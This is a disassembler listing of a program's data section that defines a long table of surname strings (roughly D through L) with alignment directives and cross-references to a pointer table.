aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E01Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E018o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E014o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E010o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E00Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E008o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E004o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E000o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042DFFCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042DFF8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042DFF4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042DFF0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042DFECo
aLoss		db 'Loss',0             ; DATA XREF: ___:0042DFE8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042DFE4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042DFE0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042DFDCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042DFD8o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFD4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFC4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFBCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFB8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFB4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFA8o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFA4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA0o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042DF9Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DF98o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF94o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF90o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF8Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF88o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF84o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF80o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF78o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF74o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF70o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF6Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF68o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF64o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF60o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF5Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF58o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF54o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF50o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF4Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF48o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF44o
aLa		db 'La',0               ; DATA XREF: ___:0042DF40o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF3Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF38o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF34o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF30o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF2Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF28o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF24o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF20o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF1Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF18o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF14o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF10o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF0Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF08o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF04o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF00o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DEFCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DEF8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DEF4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DEF0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DEECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DEE8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DEE4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DEE0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DEDCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DED8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DED4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DED0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DECCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042DEC8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042DEC4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042DEC0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042DEBCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042DEB8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042DEB4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042DEB0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042DEACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042DEA8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042DEA4o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042DEA0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042DE9Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042DE98o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042DE94o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042DE90o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042DE8Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042DE88o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042DE84o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE80o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE7Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE78o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE74o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE70o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE6Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE68o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE64o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE60o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE5Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE58o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE54o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE50o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE4Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE48o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE44o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE40o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE3Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE38o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE34o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE30o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE28o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE24o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE20o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE1Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE18o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE14o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE10o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE0Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE08o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE04o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE00o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DDFCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DDF8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDF4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDE8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDE4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDDCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDD8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDD4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDCCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDC8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDC4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDBCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDB8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDB4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDA4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DD9Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DD98o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD94o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD90o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD8Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD88o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD84o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD80o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD78o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD74o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD70o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD6Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD68o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD64o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD60o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD5Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD58o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD54o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD50o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD4Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD48o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD44o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD40o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD3Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD38o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD34o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD30o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD2Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD28o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD24o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD20o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD1Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD14o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD10o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD0Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD08o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD04o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD00o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DCF8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCF4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCE8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCE4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCDCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCD8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCD4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD0o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCCCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCC8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCC4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCBCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCB8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCB4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCA8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCA4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DC9Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DC98o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC94o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC90o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC8Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC88o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC84o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC80o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC7Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC74o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC70o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC6Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC68o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC64o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC60o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC5Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC58o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC54o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC50o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC4Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC48o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC44o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC40o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC3Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC38o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC34o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC30o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC2Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC28o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC24o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC20o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC1Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC18o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC14o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC10o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC0Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC08o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC04o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC00o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBF4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBE8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBE4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBDCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBD4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBCCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBC8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBC4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBBCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBB8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBB4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBA4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DB9Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DB98o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB94o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB90o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB8Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB88o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DB84o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB80o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB78o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB74o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB70o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB6Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB68o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB64o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB60o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB5Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB58o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB54o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB50o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB48o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB44o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB40o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB3Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB38o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB34o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB30o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB2Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB28o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB24o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB20o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB18o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB14o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB10o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB0Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB08o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB04o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB00o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DAFCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DAF8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAF4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAE8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAE4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DADCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAD8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DAD4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DACCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAC8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAC4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DABCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAB8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAB4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAA8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAA4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DA9Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DA98o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA94o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA90o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA88o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA84o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA80o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA7Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA78o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA74o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA70o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA6Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA68o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA64o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA60o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA5Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA58o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA50o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA4Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA48o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA44o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA40o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA3Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA30o
		align 4
